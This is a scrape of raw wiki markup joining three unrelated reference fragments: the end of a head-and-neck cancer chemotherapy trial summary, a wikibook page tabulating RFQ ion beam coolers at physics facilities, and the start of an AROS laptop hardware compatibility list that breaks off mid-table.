**Randomized. 501 patients with Stage III/IV disease (resectable and unresectable) and no mets. Induction with PF (cisplatin 100mg/m2, 5-FU 1000mg/m2) vs. TPF (docetaxel 75mg/m2, cisplatin 100mg/m2, 5-FU 1000mg/m2) x3 cycles. If response (&gt;25% tumor reduction), chemo-RT start within 3-8 weeks. RT 70-74 Gy in 2 Gy/fx, involved LNs 60-74 Gy, uninvolved LNs &gt;=50 Gy. Concurrent carboplatin AUC 1.5. Surgery 6-12 weeks after RT if N2 and PR, if N3, or if residual disease
**Protocol compliance: 98% completed induction, completion per protocol TPF 73% vs. PF 68%
**'''2007''' {{PMID|17960013}} -- &quot;Cisplatin and Fluorouracil Alone or with Docetaxel in Head and Neck Cancer&quot; (Posner MR, N Engl J Med 2007 Oct 25; 357(17):1705-15). Minimum F/U 2 years
***Outcome: median OS TPF 5.9 years vs. PF 2.5 years (SS); 3-year OS 62% vs. 48% (SS). Locoregional control 70% vs. 62% (SS), no difference in DM
***Toxicity: TPF neutropenia vs. PF hematologic adverse events
***Conclusion: Induction with TPF superior over induction with PF</text>
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    <title>Chemical Sciences: A Manual for CSIR-UGC National Eligibility Test for Lectureship and JRF/RFQ Beam Coolers</title>
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      <minor />
      <comment>Measurments &gt; Measurements</comment>
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      <text bytes="15231" sha1="fvm0koiz836qbuphu6c87vhppiho2wz" xml:space="preserve">{{dewikify}}

Despite its long history, high-sensitivity high-accuracy mass measurements of atomic nuclei continue to be very important areas of research for many branches of physics. Not only do these measurements provide us with a better understanding of nuclear structures and nuclear forces but they also offer insight into how matter behaves in some of Nature’s harshest environments. At facilities such as [[ISOLDE|ISOLDE]] at [[CERN|CERN]] and [[TRIUMF|TRIUMF]] in Vancouver, for instance, measurement techniques are now being extended to short-lived radionuclei that only occur naturally in the interior of exploding stars. Their short half-lives and very low production rates at even the most powerful facilities require the very highest in sensitivity of such measurements.

[[penning trap|Penning traps]], the central element in modern high-accuracy high-sensitivity mass measurement installations, enable measurements of accuracies approaching 1 part in 10^11 on single ions. However, to achieve this Penning traps must have the ion to be measured delivered to it very precisely and with certainty that it is indeed the desired ion. This imposes severe requirements on the apparatus that must take the atomic nucleus out of the target in which it has been created, sort it from the myriad of other ions that are emitted from the target and then direct it so that it can be captured in the measurement trap.

Cooling these ion beams, particularly radioactive ion beams, has been shown to drastically improve the accuracy and sensitivity of mass measurements by reducing the [[phase space|phase space]] of the ion collections in question. Using a light neutral background gas, typically helium, charged particles originating from on-line mass separators undergo a number of soft collisions with the background gas molecules resulting in fractional losses of the ions’ kinetic energy and a reduction of the ion ensemble’s overall energy. In order for this to be effective however, the ions need to be contained using transverse radiofrequency quadrupole (RFQ) electric fields during the collisional cooling process (also known as buffer gas cooling).  These RFQ coolers operate on the same principles as [[quadrupole ion trap|quadrupole ion traps]] and have been shown to be particularly well suited for buffer gas cooling given their capacity for total confinement of ions having a large dispersion of velocities, corresponding to kinetic energies up to tens of electron volts. A number of the RFQ coolers have already been installed at research facilities around the world and a list of their characteristics can be found below.


----


{| class=&quot;wikitable&quot;
|+ RFQ Coolers Around the World &lt;!-- if required --&gt;
! Name
! Input Beam
! Input Emittance
! Cooler Length
! R&lt;sub&gt;0&lt;/sub&gt;
! RF Voltage, Freq, DC
! Mass Range
! Axial Voltage
! Pressure
! Output Beam Qualities
! Images
|-
| Colette&lt;ref name=&quot;Colette&quot;&gt;{{
cite journal
 | author = M. Sewtz, C. Bachelet, N. Chauvin, C. Guénaut, E. Leccia, D. Le Du and D. Lunney
 | title = Deceleration and cooling of heavy ion beams: The COLETTE project
 | journal = Nuclear Instruments and Methods in Physics Research Section B: Beam Interactions with Materials and Atoms 
 | volume = 240
 | issue = p. 55-60
 | year = 2005
}}&lt;/ref&gt;
&lt;ref name=&quot;Colette2&quot;&gt;{{
cite paper
  | author = Cyril Bachelet
  | title = Mesure de Masse de Noyaux à Halo et Refroidissement de Faisceaux avec l'Expérience Mistral
  | version = PhD Thesis
  | publisher = Université Paris XI, France
  | date = 2004
  | url =
  | format =
  | accessdate =
}}&lt;/ref&gt;
| 60 keV ISOLDE beam decelerated to ≤ 10 eV
| ~ 30 π-mm-mrad
| 504 mm (15 segments, electrically isolated)
| 7 mm
| Freq : 450 – 700 kHz
| --
| 0.25 V/cm
| 0.01 mbar He
| Reaccelerated to up to 59.99 keV with long. energy spread ~10 eV
| [[:Image:COLETTE1.png|COLETTE1]] 

[[:Image:COLETTE2.png|COLETTE2]]
|-
| LPC Cooler&lt;ref name=&quot;LPC&quot;&gt;{{
cite paper
  | author = Guillaume Darius
  | title = Etude et Mise en oeuvre d'un Dispositif pour la Mesure de Paramètre de Correlation Angulaire dans la Désintégration du Noyau Hélium 6
  | version = PhD Thesis
  | publisher = Université de Caen / Basse-Normandie, France
  | date = 2004
  | url =
  | format =
  | accessdate =
}}&lt;/ref&gt; 
| SPIRAL type beams
| Up to ~ 100 π-mm-mrad 
| 468 mm (26 segments, electrically isolated)
| 15 mm
| RF : up to 250 Vp, Freq : 500 kHz – 2.2 MHz
| --
| --
| up to 0.1 mbar
| --
| [[:Image:LPC1.png|LPC1]] 

[[:Image:LPC2.png|LPC2]]
|-
| SHIPTRAP Cooler&lt;ref name=&quot;SHIPTRAP&quot;&gt;{{
cite journal
 | author = S. Rahaman, M. Block, D. Ackermann, D. Beck, A. Chaudhuri, S. Eliseev, H. Geissel, D. Habs, F. Herfurth, F.P. Heßberger et al.
 | title = On-line commissioning of SHIPTRAP
 | journal = International Journal of Mass Spectrometry 
 | volume = 251
 | issue = p. 146-151
 | year = 2006
}}&lt;/ref&gt;
&lt;ref name=&quot;SHIPTRAP2&quot;&gt;{{
cite paper
  | author = Jens Dilling
  | title = Direct Mass Measurements on Exotic Nuclei with SHIPTRAP and ISOLTRAP
  | version = PhD Thesis
  | publisher = University of Heidelberg, Germany
  | date = 2001
  | url =
  | format =
  | accessdate =
}}&lt;/ref&gt;
&lt;ref name=&quot;SHIPTRAP3&quot;&gt;{{
cite paper
  | author = Daniel Rodriguez Rubiales
  | title = An RFQ Buncher for Accumulation and Cooling of Heavy Radionuclides at SHIPTRAP and High Precision Mass Measurements on Unstable Kr Isotopes at ISOLTRAP
  | version = PhD Thesis
  | publisher = University of Valencia, Spain
  | date = 2001
  | url =
  | format =
  | accessdate =
}}&lt;/ref&gt;
| SHIP type beams 20-500 keV/A
| -- 
| 1140 mm (29 segments, electrically isolated)
| 3.9 mm
| RF: 30-200 Vpp, Freq: 800 kHz – 1.2 MHz
| up to 260 amu
| Variable: 0.25 – 1 V/cm
| ~ 5×10-3 mbar He
| --
| [[:Image:SHIPTRAP1.png|SHIPTRAP1]] 

[[:Image:SHIPTRAP2.png|SHIPTRAP2]]
|-
| JYFL Cooler&lt;ref name=&quot;JYFL&quot;&gt;{{
cite journal
 | author = A. Jokinen, J. Huikari, A. Nieminen and J. Äystö
 | title = The first cooled beams from JYFL ion cooler and trap project
 | journal = Nuclear Physics A 
 | volume = 701
 | issue = p. 557-560
 | year = 2002
}}&lt;/ref&gt;
&lt;ref name=&quot;JYFL2&quot;&gt;{{
cite paper
  | author = Arto Nieminen
  | title = Manipulation of Low-Energy Radioactive Ion Beams With an RFQ Cooler; Applications to Collinear Laser Spectroscopy
  | version = PhD Thesis
  | publisher = University of Jyväskylä, Jyväskylä, Finland
  | date = 2002
  | url =
  | format =
  | accessdate =
}}&lt;/ref&gt;
| IGISOL type beam at 40 keV
| Up to 17 π-mm-mrad
| 400 mm (16 segmentes)
| 10 mm
| RF: 200 Vp, Freq: 300 kHz – 800 kHz
| --
| ~1 V/cm
| ~0.1 mbar He
| ~3 π-mm-mrad, Energy spread &lt; 4 eV
| [[:Image:JYFL1.png|JYFL1]] 

[[:Image:JYFL2.png|JYFL2]] 

[[:Image:JYFL3.png|JYFL3]]
|-
| MAFF Cooler&lt;ref name=&quot;MAFF&quot;&gt;{{
cite journal
 | author = J. Szerypo, D. Habs, S. Heinz, J. Neumayr, P. Thirolf, A. Wilfart and F. Voit
 | title = MAFFTRAP: ion trap system for MAFF
 | journal = Nuclear Instruments and Methods in Physics Research Section B: Beam Interactions with Materials and Atoms 
 | volume = 204
 | issue = p. 512-516
 | year = 2003
}}&lt;/ref&gt;
| 30 keV beam decelerated to ~100 eV
| --
| 450mm
| 30mm
| RF: 100 –150 Vpp, Freq: 5 MHz
| --
| ~0.5 V/cm
| ~0.1 mbar He
| energy spread = 5 eV, Emittance @ 30keV: from = 36 π-mm-mrad to eT = 6 π-mm-mrad
| --
|-
| ORNL Cooler&lt;ref name=&quot;ORNL&quot;&gt;{{
cite journal
 | author = Y. Liu, J.F. Liang G.D. Alton, J.R. Beene, Z. Zhou, H. Wollnik
 | title = Collisional Cooling of Negative-Ion Beams
 | journal = Nuclear Instruments and Methods in Physics Research Section B: Beam Interactions with Materials and Atoms 
 | volume = 187
 | issue = p. 117-131
 | year = 2002
}}&lt;/ref&gt;
| 20-60 keV negative RIBs decelerated to &lt;100 eV
| ~50 π-mm-mrad (@ 20 keV)
| 400 mm
| 3.5 mm
| RF: ~400 Vp, Freq: up to 2.7 MHz
| --
| up to ±5 kV on tapered rods
| ~0.01 mbar
| Energy spread ~2 eV
| [[:Image:ORNL1.png|ORNL1]] 

[[:Image:ORNL2.png|ORNL2]] 

[[:Image:ORNL3.png|ORNL3]]
|-
| LEBIT Cooler&lt;ref name=&quot;LEBIT&quot;&gt;{{
cite journal
 | author = G. Bollen, S. Schwarz, D. Davies, P. Lofy, D. Morrissey, R. Ringle, P. Schury,T. Sun, L. Weissman
 | title = Beam cooling at the low-energy-beam and ion-trap facility at NSCL/MSU
 | journal = Nuclear Instruments and Methods in Physics Research A 
 | volume = 532 
 | issue = p. 203–209 
 | year = 2004
}}&lt;/ref&gt;
| 5 keV DC beams
| -- 
| --
| --
| --
| --
| --
| ~1×x10−1 mbar He (high-pressure section)
| --
| [[:Image:LEBIT1.png|LEBIT1]] 

[[:Image:LEBIT2.png|LEBIT2]] 

[[:Image:LEBIT3.png|LEBIT3]]
|-
| ISCOOL&lt;ref name=&quot;ISCOOL&quot;&gt;{{
cite journal
 | author = I. Podadera Aliseda, T. Fritioff, T. Giles, A. Jokinen, M. Lindroos and F. Wenander
 | title = Design of a second generation RFQ Ion Cooler and Buncher (RFQCB) for ISOLDE
 | journal = Nuclear Physics A 
 | volume = 746
 | issue = p. 647-650
 | year = 2004
}}&lt;/ref&gt;
&lt;ref name=&quot;ISCOOL2&quot;&gt;{{
cite paper
  | author = Ivan Podadera Aliseda
  | title = New Developments on Preparation of Cooled and Bunched Radioactive Ion Beams at ISOL-Facilities: The ISCOOL Project and Rotating-Wall Cooling
  | version = PhD Thesis
  | publisher = CERN, Geneva, Switzerland
  | date = 2006
  | url =
  | format =
  | accessdate =
}}&lt;/ref&gt;
| 60 keV ISOLDE beam 
| up to 20 π-mm-mrad
| 800 mm (using segmented DC wedge electrodes)
| 20 mm
| RF: up to 380 V, Freq: 300 kHz - 3MHz
| 10-300 amu
| ~0.1V/cm
| 0,01 - 0,1 mbar He
| --
| [[:Image:ISCOOL1.png|ISCOOL1]] 

[[:Image:ISCOOL2.png|ISCOOL2]] 

[[:Image:ISCOOL3.png|ISCOOL3]] 

[[:Image:ISCOOL4.png|ISCOOL4]]
|-
| ISOLTRAP Cooler&lt;ref name=&quot;ISOLTRAP&quot;&gt;{{
cite journal
 | author = T. J. Giles, R. Catherall, V. Fedosseev, U. Georg, E. Kugler, J. Lettry and M. Lindroos
 | title = The high resolution spectrometer at ISOLDE
 | journal = Nuclear Instruments and Methods in Physics Research Section B: Beam Interactions with Materials and Atoms 
 | volume = 204
 | issue = p. 497-501
 | year = 2003
}}&lt;/ref&gt; 
| 60 keV ISOLDE beam
| --
| 860 mm (segmented)
| 6 mm
| RF: ~125 Vp, Freq: ~1 MHz.
| --
| --
| ~2×10-2 mbar He
| elong ≈ 10 eV us, etrans ≈ 10p mm mrad.
| [[:Image:ISOLTRAP1.png|ISOLTRAP1]] 

[[:Image:ISOLTRAP2.png|ISOLTRAP2]]
|-
| TITAN RFCT&lt;ref name=&quot;TITAN&quot;&gt;{{
cite journal
 | author = J. Dilling, P. Bricault, M. Smith, H. -J. Kluge and TITAN collaboration
 | title = The proposed TITAN facility at ISAC for very precise mass measurements on highly charged short-lived isotopes
 | journal = Nuclear Instruments and Methods in Physics Research Section B: Beam Interactions with Materials and Atoms 
 | volume = 204
 | issue = Pages 492-496
 | year = 2003
}}&lt;/ref&gt;
| continuous 30–60 keV ISAC beam
| --
| --
| --
| RF: 1000 Vpp, Freq: 300 kHz - 3 MHz
| --
| --
| --
| 6 π-mm-mrad at 5 keV extraction energy 
| [[:Image:TITAN1.png|TITAN1]] 

[[:Image:TITAN2.png|TITAN2]] 

[[:Image:TITAN3.png|TITAN3]]
|-
| TRIMP Cooler&lt;ref name=&quot;TRIMP&quot;&gt;{{
cite paper
  | author = Emil Traykov
  | title = Production of Radioactive Beams for Atomic Trapping
  | version = PhD Thesis
  | publisher = University of Groningen, The Netherlands
  | date = 2006
  | url =
  | format =
  | accessdate =
}}&lt;/ref&gt;
| TRIMP beams
| --
| 660 mm (segmented)
| 5 mm
| RF= 100 Vp, Freq.: up to 1.5 MHz
| 6 &lt; A &lt; 250
| --
| up to 0.1 mbar
| --
| [[:Image:TRIMP1.png|TRIMP1]]

[[:Image:TRIMP2.png|TRIMP2]]

[[:Image:TRIMP3.png|TRIMP3]]
|-
| SPIG Leuven
| --
| --
| 124 mm (sextuple rod structure)
| 1.5 mm
| RF= 0-500 Vpp, Freq.: 4.7 MHz
| --
| --
| --
| --
| --
|-
| Argonne CPT
| --
| --
| --
| --
| --
| --
| --
| --
| --
| --
|-
| SLOWRI cooler
| --
| --
| 600 mm (segmented sextuple rod structure)
| 8 mm
| RF= 400 Vpp, Freq.: 3.6 MHz
| --
| --
| ~10 mbar He
| --
| --
|-
| --
| --
| --
| --
| --
| --
| --
| --
| --
| --
| --
|}


== '''References''' ==

&lt;references/&gt;

== '''Further Reading''' ==

* {{cite journal
 | author = SHIPTRAP collaboration, J. Schönfelder, D. Ackermann, H. Backe, G. Bollen, J. Dilling, A. Dretzke, O. Engels, J. Estermann, D. Habs, S. Hofmann, F. P. Hessberger, H. -J. Kluge, W. Lauth, W. Ludolphs, M. Maier, G. Marx, R. B. Moore, W. Quint, D. Rodriguez, M. Sewtz, G. Sikler, C. Toader and Chr. Weber 
 | title = SHIPTRAP—a capture and storage facility for heavy radionuclides at GSI
 | journal = Nuclear Physics A 
 | volume = 701
 | issue = p. 579-582
 | year = 2002
 }}

* {{cite journal
 | author = G. Sikler, D. Ackermann, F. Attallah, D. Beck, J. Dilling, S. A. Elisseev, H. Geissel, D. Habs, S. Heinz, F. Herfurth et al.
 | title = First on-line test of SHIPTRAP
 | journal = Nuclear Instruments and Methods in Physics Research Section B: Beam Interactions with Materials and Atoms 
 | volume = 204
 | issue = p. 482-486
 | year = 2003
 }}

* {{cite journal
 | author = J.B. Neumayr, L. Beck, D. Habs, S. Heinz, J. Szerypo, P.G. Thirolf, V. Varentsov, F. Voit, D. Ackermann, D. Beck et al.
 | title = The ion-catcher device for SHIPTRAP
 | journal = Nuclear Instruments and Methods in Physics Research Section B: Beam Interactions with Materials and Atoms 
 | volume = 244
 | issue = p. 489-500
 | year = 2006
 }}

* {{cite journal
 | author = J. Szerypo, A. Jokinen, V. S. Kolhinen, A. Nieminen, S. Rinta-Antila and J. Äystö
 | title = Penning trap at IGISOL
 | journal = Nuclear Physics A 
 | volume = 701
 | issue = p. 588-591
 | year = 2002
 }}

* {{cite journal
 | author = T. Faestermann, W. Assmann, L. Beck, H. Bongers, W. Carli, M. Groß, R. Großmann, D. Habs, P. Hartung, S. Heinz et al.
 | title = The Munich Accelerator for Fission Fragments - MAFF
 | journal = Nuclear Physics A
 | volume = 746
 | issue = p. 22-26
 | year = 2004
 }}

* {{cite journal
 | author = D. Habs, M. Groß, W. Assmann, F. Ames, H. Bongers, S. Emhofer, S. Heinz, S. Henry, O. Kester, J. Neumayr et al.
 | title = The Munich accelerator for fission fragments MAFF
 | journal = Nuclear Instruments and Methods in Physics Research Section B: Beam Interactions with Materials and Atoms 
 | volume = 204
 | issue = p. 739-745
 | year = 2003
 }}

* {{cite journal
 | author = F. Herfurth, J. Dilling, A. Kellerbauer, G. Bollen, S. Henry, H. -J. Kluge, E. Lamour, D. Lunney, R. B. Moore, C. Scheidenberger et al.
 | title = A linear radiofrequency ion trap for accumulation, bunching, and emittance improvement of radioactive ion beams
 | journal = Nuclear Instruments and Methods in Physics Research Section A: Accelerators, Spectrometers, Detectors and Associated Equipment 
 | volume = 469
 | issue = p. 254-275
 | year = 2001
 }}

* {{cite journal
 | author = S. Schwarz, G. Bollen, D. Lawton, A. Neudert, R. Ringle, P. Schury and T. Sun
 | title = A second-generation ion beam buncher and cooler
 | journal = Nuclear Instruments and Methods in Physics Research Section B: Beam Interactions with Materials and Atoms 
 | volume = 204
 | issue = p. 474-477
 | year = 2003
 }}
 
* {{cite journal
 | author = J. Clark, R. C. Barber, C. Boudreau, F. Buchinger, J. E. Crawford, S. Gulick, J. C. Hardy, A. Heinz, J. K. P. Lee, R. B. Moore et al.
 | title = Improvements in the injection system of the Canadian Penning trap mass spectrometer
 | journal = Nuclear Instruments and Methods in Physics Research Section B: Beam Interactions with Materials and Atoms 
 | volume = 204
 | issue = p. 487-491
 | year = 2003
 }}

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==Introduction==

This a list of computer hardware tested with mostly native AROS installs and, in the recommended sections, of virtual machines

With 64bit support it is recommended 8Gb ram is needed and that SSE 4.1 and AVX are supported in the CPU i.e. from year 2012 for Intel CPUs and 2013 for AMD CPUs. They are x86-64 instruction sets designed to perform the same operations on multiple data items simultaneously, a technique known as Single Instruction, Multiple Data (SIMD). This allows for increased performance in tasks involving parallel computation. SSE 4.1 is a 128-bit SIMD instruction set, while AVX introduced 256-bit SIMD, further enhancing performance. Some apps require these features to run well, like 3D, multimedia decoding or JIT (javascript) in Odyssey web browser. If not the apps may work slower or might fail. 

If you have encountered differently (i.e. problems, incompatibilities, faults, annoyances, environment, errors, review of setup etc) please update this information. 
Please bear in mind that AROS has only a few hardware driver developers, whilst Linux counts in the tens and Windows in the hundreds. 


[[#Laptops]]
[[#Netbook]]
[[#Desktop Systems]]

[[#AMD Sockets]]
[[#Intel Sockets]]

[[#Recommended hardware (32-bit)]]
[[#Recommended hardware (64-bit)]]


=== Laptops ===

[[#top|...to the top]]


* 2006/2007 Dell Latitude D-series laptops - business class machines, good support in Aros, easy to replace wifi card 
* 2006 some [https://www.techradar.com/reviews/pc-mac/laptops-portable-pcs/laptops-and-netbooks/toshiba-satellite-pro-a200-28550/review Satellite Pro A200] 
* 2008 For the tiny carry anywhere, the early run of Acer Aspire netbooks 


Rough estimate from taking a random laptop notebook what you can expect from a Native install of AROS 

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Date 
! width=&quot;5%&quot;  |Overall 
! width=&quot;5%&quot;  |Gfx VESA
! width=&quot;5%&quot;  |Gfx 2D Acceleration 
! width=&quot;10%&quot; |Gfx 3D Acceleration 
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;20%&quot; |Comments
|-
| Before 2002 || Poor to OK || VESA 90% || 2D 10% || {{N/A}} || Audio 10% || 40% || Wired 70% || 2% || Max RAM 512MB 
|-
| 2002-2005 || OK || VESA 95% || 2D 10% || 3D 0% || Audio 30% || 70% || Wired 50% || 10% || Max RAM 2GB (for 32bit) 
|-
| 2005-2012 || Good || VESA 98% || 2D 60% || 3D 30% || Audio 40% || 80% || Wired 30% || 10% || Max RAM 3Gb (32bit) to 8GB (64bit) 
|-
| 2013-2017 || OK || VESA 98% || 2D 60% || 3D 30% || Audio 30% || 60% || Wired 30% Realtek || 0% || Max RAM 8GB / 16GB better to go Intel / AMD Ryzen over AMD A series 
|-
| 2018-2024 || OK || VESA 98% || 2D 30% || 3D 30% || Audio 40% || 50% || Wired 30% Realtek || 0% || Max RAM 32GB better 64bit options 
|-
| 2025-202x || Poor || VESA 95% || 2D 10% || 3D 10% || Audio 0% || 30% || Wired 10% || 0% || Max RAM 64GB AI disruption of previous hardware 
|-
|}


3D tests now conducted with apps found in Demos/AROS/Mesa and run at default size (may need to View As -&gt; Show All to see them. 

 Any laptop with Windows 7(TM) 64bit or higher install, the bios and hard drive set in uefi/gpt mode (install of AROS incompatible) 

Most vendor suppliers get OEM (original equipment manufacturers) to make their laptops. These brand name companies purchase their laptops from 
*80% ODM (Original Design Manufacturer) such as Quanta, Compal, Wistron, Inventec, Foxconn (Hon Hai), Flextronics and Asus (now Pegatron) 
*20% MiTAC, FIC, Arima, Uniwill, ECS, Tonfang Origin and Clevo 


{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
| &lt;!--OK--&gt;{{Yes|'''Works well'''}} || &lt;!--May work--&gt;{{Maybe|'''Works a little'''}} || &lt;!--Not working--&gt;{{No|'''Does not work'''}} || &lt;!--Not applicable--&gt;{{N/A|'''N/A not applicable'''}}
|-
|}


====Acer/Gateway/Emachines====

Company founded under the name of Multitech in Taiwan in 1976, renamed to Acer or Acer Group in 1987

Order of build quality (Lowest to highest) 
&lt;pre &gt;
Packard Bell 
Aspire 
Extensa 
TimeLine
Travelmate 
&lt;/pre &gt;

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name 
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;2%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;Travelmate 505 506 507 508 Series || &lt;!--Chipset--&gt;P2 Celeron 466Mhz || &lt;!--IDE--&gt;{{Yes|boots}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|use VESA Neo Magic Magic Graph 128XD (NM2160)}} || &lt;!--Audio--&gt;{{No|AC97 Crystal CS}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;1998 minimal support but no audio etc - 506T, 506DX, 507T, 507DX, 508T 
|-
| &lt;!--Name--&gt;TravelMate 340 342 343 345 347 || &lt;!--Chipset--&gt;ALi M1621 with piii || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Trident Cyber 9525 || &lt;!--Audio--&gt;{{No|ESS ES1969 Solo-1}} || &lt;!--USB--&gt;2 ALi OHCI USB 1.1 || &lt;!--Ethernet--&gt;a few have Intel e100 || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2000 32bit - 340T, 341T, 342T, 342TV, 343TV, 345T, 347TV 
|-
| &lt;!--Name--&gt;TravelMate 350 351 352 353 || &lt;!--Chipset--&gt;Ali with piii || &lt;!--IDE--&gt;{{Yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;Trident Cyber Blade DSTN/Ai1 || &lt;!--Audio--&gt;{{No|ali5451}} || &lt;!--USB--&gt;2 USB 1.1 Ali M5237 OHCI || &lt;!--Ethernet--&gt;e100 || &lt;!--Wireless--&gt;Acer InviLink IEEE 802.11b || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2001 32bit very limited support but no support for PCMCIA O2 Micro OZ6933 - 350T, 351TEV, 352TEV, 353TEV 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;TravelMate 610 series 611 612 613 614 || &lt;!--Chipset--&gt;815 P3 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;Intel 82815 cgc || &lt;!--Audio--&gt;AC97 || &lt;!--USB--&gt;USB 1.1 || &lt;!--Ethernet--&gt;Intel e100 pro || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2001 32bit - 610TXVi 610T 611TXV 612TX 613TXC 
|-
| Aspire 3003LM || SIS AMD 3000 1.8GHz || {{yes}} || {{N/A}} || {{maybe|SIS AGP M760GX (VESA only)}} || {{yes|AC97 SIS codec}} || 3 USB 2.0 || {{yes|SIS900}} || {{no|Broadcom BCM4318 AirForce One 54g}} || Icaros 1.2.4 || 2003 sempron 
|-
| Travelmate 2310 Series ZL6 || Intel Celeron M 360 1.4GHz with SiS 661MX || {{yes}} || {{N/A}} || {{maybe|SiS Mirage M661MX (VESA only)}} || {{yes|SIS SI7012 AC97 with realtek ALC203 codec speakers only}} ||  || {{yes|SIS900}} || {{N/A|LM version has pci card slot but no antenna}} || 2017 Icaros 2.1.1 || 2004 32bit - No USB boot option but boot from DVD - reports of wifi losing connection (isolate/remove the metallic grounding foil ends of the antennas) - 2312LM_L - 
|-
| &lt;!--Name--&gt;Aspire 3000 3002LMi 3500 5000 || &lt;!--Chipset--&gt;AMD CPU W-with SIS M760 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;SIS 760 || &lt;!--Audio--&gt;SIS || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;SIS 900 || &lt;!--Wireless--&gt;{{No|Broadcom BCM4318 swap for Atheros}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 32bit 
|-
| &lt;!--Name--&gt;Aspire 3050 5020 5050 || &lt;!--Chipset--&gt;AMD Single and Turion MK-36 Dual and RS480 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Use VESA - RS482M Xpress 1100 or RS485M Xpress 1150 || &lt;!--Audio--&gt;HD Audio Realtek ALC883 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;8139 || &lt;!--Wireless--&gt;Atheros 5006G or Broadcom BCM 4318 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 32bit MK36 gets very hot 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;TravelMate 2410 2420 2430 series || &lt;!--Chipset--&gt;915GM || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel Mobile 915GMS 910GML || &lt;!--Audio--&gt;Intel AC97 ICH6 with ALC203 codec || &lt;!--USB--&gt;4 USB2.0 || &lt;!--Ethernet--&gt;Realtek RTL-8139 || &lt;!--Wireless--&gt;Atheros 5005GS || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 32bit 2428AWXMi - 
|-
| &lt;!--Name--&gt;Acer Aspire 3610 - WISTRON MORAR 3614WLMI || &lt;!--Chipset--&gt;Intel 915 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|Intel GMA 2D and 3D}} || &lt;!--Audio--&gt;{{yes|[http://www.amiga.org/forums/showpost.php?p=644066&amp;postcount=13 AC97]}}  || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{yes|RTL 8139 8139C+}} || &lt;!--Wireless--&gt;{{Maybe|Atheros AR5001X+, AR5BMB5 or Broadcom 4318}} || &lt;!--Test Distro--&gt; Icaros 1.2.4 || &lt;!--Comments--&gt;2005 32bit with good support [http://ubuntuforums.org/showthread.php?p=6205188#post6205188 wifi issues] 
|-
| &lt;!--Name--&gt;TravelMate 2480 series 2483 WXMi (HannStar J MV4 94V) 2483NWXCi Aspire 3680, 3690 || &lt;!--Chipset--&gt;940GML i943 with Celeron 430 1.77GHz - 14.1&quot; || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes| }} || &lt;!--Gfx--&gt;{{Yes|2D and 3D openGL 1.x - Tunnel 181 gearbox 104 scores}} || &lt;!--Audio--&gt;{{Yes|HD Audio with ALC883 codec playback}} || &lt;!--USB--&gt;{{Yes|3 USB 2.0}} || &lt;!--Ethernet--&gt;{{No|Marvell 88E8038 yukon sky2}} || &lt;!--Wireless--&gt;{{No|Atheros 5k AR5005G AR5BMB5 mini pci}} suspect laptop hardware issues || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2006 Works well shame about the internet options - noisy fan - poor battery life - no boot option for TI based mass storage sd card - Max 2GB memory - LCD Inverter Board IV12090/T-LF - 
|-
